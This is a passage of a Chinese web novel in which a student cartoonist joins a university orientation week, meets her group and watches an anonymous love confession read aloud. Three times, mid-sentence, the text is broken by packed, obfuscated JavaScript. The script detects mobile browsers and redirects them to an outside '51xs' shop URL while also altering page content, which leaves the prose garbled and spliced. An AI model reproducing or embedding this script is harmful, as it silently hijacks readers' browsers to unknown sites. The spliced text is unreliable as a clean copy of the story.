庄森芽取走黄色卡片之后就离开了房间,她走出房门后,立刻被等候的新生用眼神围观了。 “她过了……” “这么快?” “怎么办?我好紧张。” 等待面试的人群小声议论着。 庄森芽拿出自己的手机看了一眼,从她进入面试房间到出来只过了不到五分钟,而其他面试者基本都要二十分钟往上。 这个后门走得太明显了,她顿时有些不好意思,低着头就匆匆地离开了。 那之后一段日子,日子过得风平浪静。 学校内在进行社团招新和面试,但是因为学生会的二面三面都和庄森芽无关,所以她这些天都没有再收到来自学生会的消息。 她主要的事情就剩下了赶稿,按照之前的计划,在推进剧情的同时不忘了给诺特斯找一些‘麻烦’,比如这里来一场小爆炸,那里来一次工厂机器失灵的意外事故,让他这个人始终狼狈不已。 在画这些的时候,庄森芽一点心理负担都没有,毕竟对方可是一个无恶不作的大反派。 这些天,她基本三点一线往返于学生会的活动室、宿舍和食堂,白天呆在宿舍里吃外卖、看剧以及补充睡眠,晚上就熬大夜,去学生会活动室继续画漫画。 舍友们都在忙面试的事情,她们偶然会在宿舍里碰见。 庄森芽得知汪素文顺利通过了学生会的三面,也加入了外联部。这个总是穿着运动服、有点土里土气的矮个头小女孩拿着黄色卡片回到宿舍的时候,脸上是止不住的开心。 庄森芽也为她感到高兴,“以后就都在学生会的同一个部门了,素文。” “是呀,森芽,将来我们一起努力吧。”汪素文捏着她的手,像某种小动物一样快乐地蹦蹦跳跳。 而她们其他的室友之一,那个留着波波头的、有点假小子性格的莫茹则加入了一个谁都没想到的社团,佛学社。以她的话来说,她的精神状态总是很不稳定,非常需要这种佛系的社团来维|稳。 而比她们大一岁的留级生石玥诗则加入了学生会的文艺部,听说她也算是内定入会的,没有经历二面三面,并且加入之后直接就成为了副部长。庄森芽心想,或许对方去年的时候就已经在文艺部打下了不小的人脉基础,所以今年才会这么顺利地一举登上高位。 经过这一周的相处,宿舍里的人愈发熟络了起来,这个小小的女生宿舍也被大家打理得更有家的感觉。 石玥诗买了几盆绿植回来,摆在阳台上,时不时一瞥都让人觉得心情舒畅。而莫茹则在她自己床铺的墙壁上贴满了明星的海报,那是一个黑发蓝眸的外国人,长得十分帅气,她把自己的位置装扮得像一个异界的小空间,又送了许多装饰用的贴纸给其他舍友,帮她们把各自的床位装饰得极具个性。而汪素文则在舍友们的同意下,买了一只小仓鼠回来,她很喜欢小动物,也对它们极其呵护,用一个三层的豪华笼子装那只小仓鼠,就把它安置在阳台晾衣架的下面。 有了这些之后,宿舍里的生活气息一下子就浓了起来,阳光一打进来,整个空间里都漫起一种温馨的氛围,她们还一同拍照,并在社交平台上发布她们的小窝,收获了不少点赞和艳羡的评论。 而在这短暂愉悦的一周之中,诺特斯再没有出现过。 12. 学霸与金毛犬与粉毛妹 第二周,‘雏鸟周’拉开了序幕。 雏鸟周是为上茂哈里森大一新生准备的适应活动,在这一周之中,新生们会组成四人小组,五个小组又组成一个二十人的大队,每个大队在两个高年级学生的带领下,先熟悉校园环境,而后再离开学校,熟悉整个上茂市的环境。有些高年级的学生也称之为‘疯狂周’,因为这是在新生开始正式上课之前最后一次毫无顾虑的狂欢。 雏鸟周开始的前一天,新生们纷纷收到了自己的组别信息。上茂哈里森大学向来崇尚跨界交流,所以雏鸟周的四人小组里面的成员往往是不同专业的人,一般是将四个相同星座的人组在一起。 收到自己的组别成员信息后,舍友们纷纷开始了讨论。 “果然同一个宿舍的人不会被分到一起去啊。”莫茹趴在二层的床铺上,掀开床帘,扒着防护栏,叹息了一声说。 她看起来有点失落,虽然性格感觉是大大咧咧的,但内里却是有点内向的。这种矛盾的冲突,可能也是她加入佛学社的原因,想必是为了调整心态去的。 “我在双子队的第六小组。”汪素文盯着自己的手机说,“你们呢?” 莫茹举起自己的手机,亮出屏幕,“巨蟹队,分组十二。” “我是天秤队的第三分组。”庄森芽说,她翻了翻自己的四人小组信息,有些意外地在其中发现了一个熟悉的名字。 费洛。 难道是她认识的那个费洛?她不禁疑惑。怎么哪都有这个学生会外联部的形象大使,他不是高年级的学生吗,为什么会出现在雏鸟周的分组里? 而另外两个人……温枣,何元楚,倒是两个耳生的名字。 “你也在天秤队?”石玥诗朝庄森芽搭话,她正面朝着镜子往自己的脸上拍粉,似乎晚上还有什么聚会要参加。 听到问询,庄森芽转过身去,“你也在天秤队吗?” “是啊,我在第一组。”石玥诗说。 “那说不定活动的时候能碰见诶。”庄森芽说,她想起来对方是留过一年级的学姐,说不定知道费洛这个人,于是朝她问道,“对了,玥诗,你认识费洛吗?” “那条很活泼的金毛犬?”石玥诗问。 “啊,不是,我是指一个学生会的学长,他说他是外联部的形象大使。” “我就是指他。” 好家伙,原来不止她一个人觉得那个费洛很像某种活泼的大型犬类,明明穿着一身潮人的装扮,却没有一点酷哥的气质。 “他不是高年级的学生吗?但是‘雏鸟周’却和我在一个分组。”庄森芽疑惑。 “他留级了,和我一样。”石玥诗放下了粉扑,从一旁看起来十分专业的工具箱里拿了一只眼线笔出来,开始往眼皮上描画。 “原来是这样……” 难怪呢,这样就能说得通了。庄森芽心想。 不过,留级生也要参与‘雏鸟周’吗?石玥诗和费洛去年应该都参加过,今年也要再走一遍这个流程? 石玥诗是为了加入学生会才留级的,但费洛好像已经是学生会的成员了,那他为什么要留级? 石玥诗很快回答了她内心的困惑,就仿佛听到了她的心声似的,“费洛去年十门课程挂了八科,补考完还是挂了五科,老师说他今年要是能控制在首考挂两科以内,补考就当走个形式,不管考什么分,都让他通过。” “十门挂八科,这是个什么人才啊?”庄森芽惊讶到把心里话说了出来。 石玥诗莞尔一笑,没说什么,继续拿眉笔在自己的脸上描画。 另一边,莫茹缩回了自己的床铺里,声音悠悠地从上方传下来,“‘雏鸟周’啊……可不可以不参加,在宿舍里躺着啊。” “没事的啦,茹茹。”汪素文安慰对方说,“要去认识新朋友,我也有一点忐忑。但大家熟络起来之后,一定会玩得很开心的。” 看到汪素文像个小天使一样,不知为何,一只魔鬼却在庄森芽的心里闹腾了起来,“诶,素文,可不许有了新欢就忘了旧爱,你要是把我们几个给抛弃了,我们就把你的小仓鼠卖给别人。” 汪素文立刻皱着眉头,急迫地解释道:“我不会忘记大家的。” “哈哈,开玩笑的啦。”庄森芽笑着摆摆手。 第二日,‘雏鸟周’的第一天,学生们纷纷聚集在活动广场上,根据星座旗帜的所在地寻到自己的队伍,又通过地面的喷漆编号定位自己所属的四人小组。 庄森芽收拾好行李,装进背包里,听说接下来几天都要在外面住,所以她特意去楼下的超市里买了一些日常用品。 来到活动广场,找到自己所在的天秤队三组所在位置的时候,已经有三个人在对应的喷漆编号处等待了。其中一个是学生会形象大使费洛,现在庄森芽对他的印象有了全新的改变,原来他不光是个没有什么架子的犬系潮男,还是个挂了八成课的贬义天才。 而另外一男一女的面孔则有些陌生。女生的身形高挑,似乎和庄森芽自己差不多高,头发染成了浅粉色,穿着十分活泼的短裙,在秋天的萧瑟空气中,她似乎一点也不冷。而另一个男生则戴着一副眼镜,套着一件夹克,袖口挽到了小臂处,似乎有健身的痕迹,但整体上看起来却有三好学生的气质。 费洛看到庄森芽走过来,热情地朝她挥手,“我们在这!” 粉头发的女生也转过来,她带着深粉色的隐形眼镜,整个人看起来像是从动漫里走出来的某个角色,十分自来熟地和她打招呼,“你好呀!” 庄森芽走进这个小团体,四人形成了一个紧密的圈子,似乎是受周围各组成员‘认亲’一般的氛围影响,他们也自然而然交换起彼此的信息。 “你没来的时候,我们都自我介绍过啦。”粉头发的女生说,“你是庄森芽对吧。” “是的,我是。” “你好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208425|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是何元楚。”戴眼镜的男生说,他连说话都是规规矩矩的。 “我叫温枣,新闻传播学专业的,”粉头发的女生开口说,她看起来很有活力,嘴上滔滔不绝,甚至还包揽了别人的介绍,“元楚是经济学的,偷偷告诉你,他是个学霸,是以专业第一的成绩入学的。那边那个浅黄头发的是费洛,他是为了艺术追求而留级的美术学院的学长,在服装方面可厉害了,听说承包了所有大型活动以及重要场合的演员服饰设计。” 她时而大声地介绍,时而举起手来佯装在庄森芽耳边说悄悄话,但其实她的声音足以被在场的所有人听见。 听完对方这段话,庄森芽不得不在内心嘀咕,居然把费洛的留级原因说得这么光彩,是费洛如此自称的,还是这个温枣为了给对方留面子,所以才这么介绍? 不管如何,她肯定不会去做当众揭穿的那一个。 “大家都好厉害呀。”庄森芽说。 “你呢?你是什么专业的?”粉头发的温枣问他。 “我是生物医学工程的。”庄森芽回答。 温枣露出惊讶的神情,嘴巴张得圆圆的,“天才小医生!” “啊?不是,我连医学基础知识课都还没上过……” “我们当中出现了一个美女神医!”温枣对身边人说。 老天,这人也太夸张了。庄森芽怀疑市长现在站在她面前能被她说成是省长,学徒能被她说成是师父。这么看,刚才她给另外两个人的介绍也有添油加醋的成分。 不过也挺有意思,这个温枣看起来没什么坏心思,可能是典型的那种喜欢把人捧到天上的类型,相当于给人喂迷药但喂完就扔到路边,既不占人便宜也不偷人钱财。 “没想到我们队里各个都是人才,”温枣说,“可惜我没什么特长,拖后腿了。” 别一边,那个叫何元楚的男生露出不赞成的目光,他推了一下眼镜说:“你上次在市队打电竞比赛一带四结果五杀的经典场面还在我手机里存着呢。” “哎呀,那是我队友给力……” 两人你一言我一语就打电竞比赛的事聊了起来,一时间谁也插不进去话。 这时候,费洛来到了庄森芽身边,对她说:“他们俩是同一所高中的,‘雏鸟周’刚巧被分到了一组。温枣很喜欢打游戏,好像市级比赛还拿过奖。” “这么牛……”庄森芽感概。 对面两人的交谈还在继续,庄森芽打量了他们一番,观察着这两个将和她相处一周的小组成员。而就在盯着温枣看时,一个熟悉的物件在庄森芽眼前一晃而过。 “……咦?”她定睛往温枣的身上看去,那个白色的皮质斜挎包的拉链上拴着一个精巧的小物件,那是个绿色结晶一样的挂饰,两端是尖的,镶嵌着银色的金属边。 她不会看错,那是《灵月十四》中最紧缺的资源‘石剑醇’,整个故事就是围绕着这种不可再生资源展开的。 13. 雏鸟周与话题活动 不过,温枣挎包上的那个应该不是真的石剑醇,而是一个仿制的挂饰,毕竟怎么说石剑醇都是一种虚构资源。 但出于好奇,庄森芽还是朝对方问道:“温枣,你包包上那个是……?” 正和何元楚就‘组里谁最没实力’这个问题大战八百回合的温枣听到庄森芽的问题,一下子就从对话里抽身,就仿佛无论跟谁说话都不会影响她接收周围的声音一般。她低头朝自己的包上看去,抓起那个绿色的挂饰,说:“这个吗?这是一部叫《灵月十四》的漫画的周边。” 周边?她怎么不知道自己的漫画还有什么周边? “这是我自己做的。”温枣放下它,拍了拍自己的挎包,“因为《灵月十四》这部漫画太凉啦,官方都不出周边。” 听到这句话,庄森芽只觉得自己内心遭到了前所未有的暴击。 虽然一直知道这个事实……但这还是第一次被人当面说出来。 不过,从温枣口中听到自己笔下漫画的名字,着实让她惊讶了一番。她给自己的定义是一个糊在锅底的小画手,拿铲子翻一翻就会发现两面全是黑的,《灵月十四》在网上都没多少人看,连一点讨论度都没有,现实里却让她遇上看自己漫画的人了?这得有多巧啊。 本着了解读者的心态,庄森芽问道:“你很喜欢《灵月十四》吗?” “是呀,我喜欢,你也知道《灵月十四》?” “嗯,我偶然看到过,但是就看了个开头,后面没看下去了。你喜欢它哪里啊?” “我喜欢养成小画手!”温枣兴奋地说,眼神里有闪烁着的光。 “……啊?”庄森芽没想到是这种回答。 “《灵月十四》这部漫画的作者青沐,我是看着她一天天成长起来的,可以算是元老级粉丝了。”温枣细数着过往,“她一开始画风可差啦,人体结构有问题,场景透视也乱七八糟,人物还有点脸谱化,故事节奏也特别松散,评论和点赞都惨兮兮的……” 温枣每说一句话,庄森芽就感觉有一把小刀在往自己的心上插,身体里的血管全破了,一片红色的雾气往自己的脸上涌。 “这么……这么差劲吗。” “不过后来还好啦,她在一点点改进,故事也在主人公尤梭打算揭竿而起之后变得有意思起来了。”温枣说。“我特别喜欢给这些小画手打赏,青沐是唯一一个在数据那么惨淡的情况下,还持续更新了这么久的。” “啊哈哈,是这样吗……” 别说了,再说她要哭了。 不过说到打赏这件事,庄森芽印象里的确有一个读者每次更新都给她捧场,她记得那个读者的昵称叫‘菜就多练’,难不成就是温枣? 世界还真小,她的‘榜一大哥’居然就这么被她在现实中撞见了。 “喂,喂——来,队长们看一下自己各组内的成员有没有到齐。”这时候,有人举着喇叭在最前方喊话道,“到齐的队伍,副队长到我这里来报道一下。先到齐的队,可以先离开广场进行后续的活动,没有到齐的队伍继续等待。” 这句通告一般的话语落下,活动广场上瞬间嘈杂了起来,各种杂乱的声音响起,像是黄昏的鸟群在呼唤同伴归巢。 “水瓶队六至十组,来这里,都靠过来点。” “四组怎么缺一个人,谁没来?” “来,摩羯队十一至十五组,咱们人到齐了,接下来跟我走。” 队长和副队长们呼唤着队员,队员则纷纷向自己的领队靠拢。 就在庄森芽所在的天秤队三组里的四个人都毫无头绪地观察四周的情况时,一个咬字清晰且穿透力很强的声音在他们身旁不远处响起。 “天秤队一至五组,来我这里集合。” 往声音的源头看去,只见一个身形修长挺拔的人站在人群之中,他高举一只手,一动不动,像一个引导众人的道标。 “我们居然是学生会主席带队?”温枣讶异地说。 何元楚推了推眼镜,镜面有些反光,使他看上去有些深沉,“主席亲自下场,看来我们队二十人里有什么重要人物。” “哦,我知道了,是那个谁吧。”温枣模样恍然大悟。 “谁?”何元楚问。 温枣压低了声音,凑到他们几人面前,悄声说道:“就是那个谁呀,一个留级一年又加入文艺部的学姐,名字我忘记叫什么了,听说她留级一年就是为了加入学生会,方便追求学生会主席。” 听她这么描述,一个人名从庄森芽的脑海里浮现出来,“石玥诗吗?” “对对,就是这个名字!”温枣肯定道。 庄森芽不禁疑惑。石玥诗留级是为了追求裴佑哲?这又是什么展开……几天前在新生典礼上,她和这两人一起行动时,也没觉得他们之间有什么追求或者被追求的关系呀。 “费洛学长,你知道主席和那个石玥诗的事情吗?”温枣的八卦之魂似乎燃烧了起来,没有就这么放弃这个话题。 “我都留级了,就别叫我学长了。”费洛说,“至于那两个人的事吗……我要是说了,佑哲会把我脑袋砍掉的,所以你们就还是当我不知道吧。” “没事,我会替你接上脑袋的,我缝纫技术很强。”温枣一脸正经地说。 “那我只能告诉你,这个大名鼎鼎的学生会主席,不是为了石玥诗才带我们这一队的。”费洛卖关子道,然后又看了庄森芽一眼。 庄森芽因为对方意味不明的视线而露出困惑的神情。 但费洛没解释什么,而是把架在他脑袋顶上的墨镜戴正了,耸耸肩,大敞着披在他身上的休闲外套几乎要因为这个动作坠下来,他不笑的时候倒是酷得有模有样,“走吧,队员都集合过去了,好像就差我们了。” 裴佑哲清点着人数,见到姗姗来迟的第三组成员,说道:“我们人到齐了。木优,你和老师去说一下,我先带他们离开广场,这里太乱了。” 裴佑哲身边站着一个脸上什么表情都没有的女生,她收到队长的指示之后就行动了起来。庄森芽认出了她来,她是学生会面试那天坐在费洛身边的那个冷面齐刘海学姐。这人出现在这里,也就代表着她是他们这一队的副队长。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208426|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴佑哲带着到齐的二十个人向校园中唯一的湖畔走去,那是通往教学区的通路。一群人像是小鸡仔一样跟在裴佑哲的后面,他去哪他们就跟到哪。 学生会主席找了一个有树荫的绿地,直到抵达了这安静的场地,他才正式开始自我介绍。 “接下来几天,将会是我给大家带队,各位在新生典礼上应该见过我,不过这几天不用把我当成学生会主席,而是把我当成你们的队长就好,有任何问题、任何需要都可以来找我。”裴佑哲对队员们说。 他像是一个大家长一样露出和善的目光来,仿佛真的像他说的那样有求必应。 在他说话的过程中,庄森芽就盯着他,目不转睛,她猜所有的队员现在都是和自己一样的状态,学生会主席说话的时候总能让他的听者挪不开视线。 而裴佑哲也会扫视每一个队员,视线在他们每一个人的身上停留,就仿佛他当下所说的那一句话是专门地说给目光所视的那个人听的。 主席的目光也会落在庄森芽的脸上,每次他看她的时候,她都会直视回去,她认为这是一种对说话者的尊重,可是不知为何,每当她死死盯着裴佑哲的时候,裴佑哲的目光似乎就会黏在她身上,迟迟不离开。 不知道是不是她的错觉,总觉得裴佑哲盯着她看的时间比其他人都要多。 庄森芽一拍脑袋,心想这大概率是她的幻觉,估计每一个人都会这么觉得,谁不希望那个耀眼夺目的裴佑哲多看自己两眼呢,但对方又是那么公平公正一碗水端平的人,不会多看谁一眼,也不会少看谁一眼。 “我们先在这里做一个简短的自我介绍,熟悉一下各组的伙伴们,然后我会带大家去参观一遍教学区,这一步我们争取快一些,因为我也知道大家对教学区不怎么感兴趣,而且你们将来还有很多机会进出那里,所以我们尽量留时间给下午的活动。” 一群人在草地上坐了下来,围成一个圈,从裴佑哲开始顺时针自我介绍。每个人都报出了自己的名字、专业和爱好,话少的普遍只说了两三句,话多的几乎要把自己族谱和家底都搬上来了。 过程中,他们了解到,那个冷面的副队长是学生会的副秘书长,名字叫巴木优,她不光没什么表情,连语调都没什么起伏,但是说话总是语出惊人。她自我介绍的时候让大家不要把她当成副队长,自己只是出来玩的,说裴佑哲一个人就能带好队,有什么问题全都找他。 “木优,你能不能当上秘书长的决定权可在我手里。”裴佑哲当着众人的面,恐吓似的胁迫。 “你为什么觉得我还想晋升。”巴木优面无表情地说,“现在当一个副秘书长已经被你使唤得像个牛马了。” 队长和副队长的拌嘴引得队员们哈哈大笑,队内的气氛愈发融洽了起来。 而就在裴佑哲和巴木优一来一回搭腔的时候,庄森芽偷偷地看了一组的石玥诗一眼。 她又想起前不久,温枣说石玥诗是为了追求裴佑哲而留级加入学生会,这个流言就像个小疙瘩一样种在了她的心里,痒痒的,让她不得不好奇石玥诗现在会是什么反应。 14. 「我喜欢你」 另一边,石玥诗盯着打趣互动的一男一女,在队员笑的时候也跟着笑起来,不过那笑容是浅浅的,她时不时倾身和组员说两句话,注意力也不是一直放在裴佑哲的身上。 庄森芽困惑地在心底里想,这到底是喜欢还是不喜欢? 草坪上的自我介绍结束后,紧接着,一队人马便去教学区参观。 商学院、理工学院和艺术学院等都有各自的大楼,将来这里就会是各院系学生主要的学业场所。 裴佑哲说到做到,很快带他们结束了这个的确很无聊的教学区参观活动。 在其他各队都还在顶着太阳漫步于各大教学楼时,裴佑哲已经带着自己的队员们溜到了校园门口,而时间刚刚才到中午。 他们坐在爬满了绿藤的露天廊道上,廊道位于住宿区的长街上,每隔一段就有一条廊道,供学生们坐在其中休息。 “之前雏鸟周的说明大家应该已经看过,这七天时间里,我们不会再回到校园,而是会在外面住宿。”裴佑哲对队员们说,“等一下就要打车去市中心,大家再检查一下自己有没有什么忘带的东西,有的话尽快回去取一下,半个小时之后在这里集合。” 经他这么一提醒,喜欢丢三落四的人都纷纷往自己的宿舍跑,而那些已经准备万全的则在校门口的绿荫廊道留了下来。 趁休息的时候,队长开始分发道具,每个人都得到了一个橡胶材质的荧光手环,上面印刷着上茂哈里森大学和雏鸟周的标识。 手环是均码的,有些胳膊粗的男生戴着刚刚好,可挂在上身纤细的女生手腕上就有些空荡了,感觉稍微一动作就容易掉下来。 似乎是已经提前知道这种情况,裴佑哲又从背包里翻出来几个双面铆钉,询问有没有人需要。几个女生举起手来,于是他把那些铆钉分发了下去。 庄森芽手腕上的手环也有些松,于是她也举手索要一枚铆钉。裴佑哲看到了,朝她走过来,庄森芽伸出手,想要接过他手里的铆钉,然而没想到裴佑哲却抓住了她的手,把手掌温柔地翻转过去,帮她把手环调整到了合适的大小,将双面铆钉扣了上去。 “这样就行了。” 他整套动作行云流水,而且十分自然。在庄森芽还没反应过来、手上还残留着对方温度的时候,裴佑哲就已经转身去忙别的了。 他这一举动引发了小小的骚动,廊道对面几个队员朝庄森芽投来了视线,好奇地打量着她,与周围的组员小声议论着。 一旁,温枣也凑了过来,但她的关注点似乎有些跑偏,“啊,队长帮你扣得这么好,快让我参考一下,我怎么也对不上。” 与此同时,坐在庄森芽左手边的费洛发出一串意味不明的怪调,他伸出胳膊冲着裴佑哲,声音听起来不知为何有点夹,“佑哲学长,我也需要铆钉,手环太大了,你帮我扣一下好不好。” 他这声呼唤没把裴佑哲引过来,却是把那冷面的副队长巴木优吸引了过来。 副队长露出一个能让人产生恐怖谷效应的渗人笑容,抓住费洛的手,拉住他腕上的手环,撑开,然后松手,啪一下子,费洛的手腕顿时就被打红了。 “啊,痛!” “这不是大小挺合适的吗。”巴木优幽幽留下一句话,像个鬼魂似的飘远了。 看着自己手腕上的手环,庄森芽一时陷入了回忆。 刚才那一幕让她想起了高中的时候。 在答应为裴佑哲画一部以他为主人公的漫画之后,自己便会在课间以及午休的时候在作业本上画画。 有的时候,裴佑哲会过来找她,就坐在她的旁边看她画。 那个阶段,裴佑哲还有其他的女朋友,他为自己行为给出的借口是:新交的女朋友太黏人,所以到她这里来躲个清静。 那个时候,庄森芽因为画画姿势不标准,手上戴着一个矫正器。那东西结构很复杂,想要一个人戴好有些困难,先是要把五指上的套环同时戴好,固定到指根上,然后再将绑带缠绕在手腕上。 裴佑哲得知她需要带这个东西之后,毛遂自荐地承担起了这项任务,而且天天如此,不知厌倦,仿佛乐此不疲。 刚才裴佑哲那么顺手地替她扣好手环,庄森芽猜测他是受到了过去这段经历的影响,果然对方很可能大概率记得曾经她给他画漫画的事。 从前小的时候不觉得有什么,可现在长大了,突然觉得那些互动有些暧昧。 这可不行,庄森芽心想。 他们现在已经是大人了,要注意自己的举止。不知道裴佑哲现在有没有女朋友,但如果石玥诗喜欢他的话,那庄森芽怎么看都得跟对方划清界限。 果然还是得找时间跟裴佑哲把过去的事情说清楚,她怀疑裴佑哲对自己的额外照顾和过去高中的经历有什么关系。她要对他说,不用因为以前的事情对她额外关照,把她当成和其他新生一样的普通同学来看待就好。 但现在这种人多眼杂的环境下,肯定不能把对方拉出去单独聊一聊,所以,还是将来静待时机吧。 又等待了一阵子,回去取行李的队员们纷纷回来了。 人到齐了之后,他们便打车一同前往市中心。 到达市中心的时候已经快下午两点了,队员们的肚子都饿得咕咕叫,这帮新生正处于年轻力壮的年纪,一顿饭不吃就像饿死鬼一样。 于是他们先组团去了一家海鲜自助,学生们犹如饿狼扑食一般,把老板吃得直冒冷汗。 那之后他们去酒店把行李放下,又步行去了上茂市的标志性景点。 这是个有着百年历史的纪念馆,落座于市中心的公园里,公园中有草坪可以露营。 学生们开始在公园里自由活动,自行参观、拍照。 等他们逛够了,裴佑哲把人们聚集在草地上,开展了一个话题活动。 他给二十个队员每个人分发了一张卡片,要他们把自己现在最想说的话写在卡片上,他自己和副队长也不例外。 写好之后,他会把那些卡片收集在一起,打乱顺序,由他一一把内容念出来,所有人再去猜测具体是谁写的。 拿到卡片之后,庄森芽捏着笔沉思了半晌。 她有什么想说的话呢? 想了想最近发生的一切,尤其是有关那个诺特斯的事情,一个愿景在她的心中成型。 她在卡片上写下:「希望不再会发生什么意外」。 卡片被收集了上去,裴佑哲将它们的顺序打乱,然后,在众人面前,念起排列第一的卡片上的文字,“今天和大家在一起很开心,认识了很多朋友。” 是较为平平无奇的内容,大家开始猜测是谁写的。 很快,二组里一个女生站了起来,有些不好意思地说她不知道说什么,于是就把自己的感想写了上去。 “这就开心啦,你还没认识我们组的傻大个呢。”五组有人开玩笑一般捧场说,“你就跟他聊吧,包你一整天笑得脸疼。” 一群人其乐融融,和那个第一个被抽中卡片的女生互加了联系方式。 空气中充盈着欢愉的气息,引得周围在露营的路人频频侧目。 待第一场余兴落幕,裴佑哲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208427|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又抽出第二张卡片,他神情一动,换上一副一本正经的表情,念道:“今天早上我吃坏了肚子,刚才在去酒店的轿车上,没忍住放了一路的闷屁。” 话音刚落,有人嫌恶地叫了起来,叫着叫着又哈哈大笑。众人大声嚷嚷着“是谁”,关系好的互相指摘问道是不是你,但是没有一个人站出来承认。最后他们推举了一个人缘特别好的倒霉蛋出来,不管他认不认,这个罪行最终落到了他的身上。 一片欢快的嘈杂中,裴佑哲翻过手中的第二张卡片,第三张展现在他的眼前。 他的表情一滞,抬眼看了围成一圈的新生们,一时没有说话。 队员们都好奇地盯着队长,想知道是什么让他没有继续念下去。 裴佑哲垂眼又看向卡片,他低低笑了两声,然后用极其温柔专情的声线说:“我喜欢你。” 队员间的空气安静了不到一秒,紧接着爆发出了此起彼伏的尖叫声。 “谁!” “谁写的?谁写的!!” “啊啊啊,什么情况??” “是写给谁的?!” 一群人起哄地叫嚷起来,一张张脸上都写着八卦的兴奋。 叫得最闹腾的人首先被自然而然地排除了,他们盯上了那些没有起哄的人,开始乱戴帽子。 “你害羞了?是你写的吧,是写给我们队里谁的?”队员们盯上了一个看起来很内敛的男生,问题一下子全都招呼了上去。 “不,不是我,我写的不是这个。”那个内敛的男生说,耳朵开始渐渐发红。 “不是你,你脸红什么?” “你们都盯着我,我紧张……” 即便他这么说,周围的人还是对他不依不饶,似乎认定了他就是写下第三张卡片的人。 局势闹得有点不可开交,那个内敛的男生被围攻得看上去快要哭了。见情况不太对,费洛好心肠地站出来,对这群听到点八卦就能兴奋到冲昏头的学弟学妹说:“别欺负人家了,他性格一看那么老实,如果是他写的,他早就承认了。” 费洛一发话,这群新生的目光一下子聚焦在他的身上,转移了他们蓬勃的注意力。 “那,是你写的吗?”有人问费洛。 “啊?当然不是我……”眼看着自己就要被群起而攻之,费洛反应很迅速地指着自己身边最近的男生,“是他写的,写的时候我看到了。” 被费洛指着的何元楚瞪大了眼睛,眼镜下是难以置信的震惊目光,震惊里还带着点愤怒,他一副牙都快咬碎的模样,小声朝费洛说:“哥,我们不是一组的吗,你坑我?” 另一边,温枣突然也激动地尖叫起来,坐在地上,双脚像是小鹿蹄子一样扑腾。她对她的原高中同学激动地说:“元楚,没想到你这么大胆!快说是写给谁的?” “真不是我写的……!”何元楚有点崩溃地说。 “这位同学,承认了吧,你身边的帅哥都说是你写的。”其他组别的学生对他说。 “真不是我,”何元楚推了一下眼镜,突然变得临危不乱起来,开始据理力争,“我写的是,‘感觉上大学没什么意义,但这又是一个必经的过程’。不信让队长往下翻一翻,就能看到我写的那张卡片。” 众人的目光向裴佑哲投去,后者翻了翻底下的那些卡片,从中抽出了一张,翻过来给同学们看,“嗯,的确有这么一张,上面写着和元楚所说的一模一样的内容。” “啊——”队员们发出拉长的怪调,模样看起来都有些沮丧,“那‘我喜欢你’那张卡片到底是谁写的呀?” 15. 生杀大权 这时候,队里有人说:“你们怎么总盯着男生,万一是女生写的呢?” 此话一出,风向立刻变了,刚才处境还无比安全的女同学们一下子成了被围攻的对象。 有一个长得又高又壮的男生站起来,指着二组和三组所在的方向,有理有据地说道:“刚才写字的时候,我偷偷观察了一下,只有那边的人写的特别快。‘我喜欢你’只有四个字,很快就写完,肯定是他们那边的人写的。” 他给明了一个方向,于是乎所有的视线都向二组和三组投来。 两个组中,总共包含四个女生,庄森芽和温枣也在其中,她们一下子就被推到了风口浪尖上。 “承认吧,就在你们四个人里面了!” “往好处想一想,说出来的话,说不定今天就能成了呢?” 队里其他人一个两个全在起哄,情绪有些激动得过头,甚至有人已经开始在一旁录像,让人不禁怀疑这时候如果有人承认了的话,这帮人会把这个消息即刻散布到整个校园里去。 “喂,你们俩。”这时候,何元楚神情认真地低声对他的两个组员说,“像我一样,把自己刚才写的内容念出来,让队长确认,然后就没事了。” 他给出了一个解围的方案,然而温枣却还是一脸为难,“可是我写的内容也有点尴尬,不想被大家发现是我写的呀。” 何元楚神情复杂地看着她,模样有些无奈,“你到底写了什么啊。” “总之不能说……” “不会是放屁的那个吧。” “才不是呢!” 庄森芽的留言倒没什么不能见人的,她深吸了口气,正想澄清自己在卡片上所写的内容,然而就在这时,一个温婉沉静的声音在另一边响了起来。 “是我写的。” 声音一出,所有人的视线都汇聚了过去,落在那个说话的人身上。 那人是一组的成员,石玥诗。 几乎是一瞬间,所有学生都转而盯着她。 然而即便是在被许多道视线注视的情况下,石玥诗也是一副云淡风轻的模样,仿佛承认这件事情没什么不好意思的。 裴佑哲也看向石玥诗的方向,不知为何,他的表情有些复杂。 原本嘈杂的气氛突然冷却下去了,所有人都大眼瞪小眼,互相看着彼此,好像都不太敢闹这个看上去沉静又有气质的留级学姐。 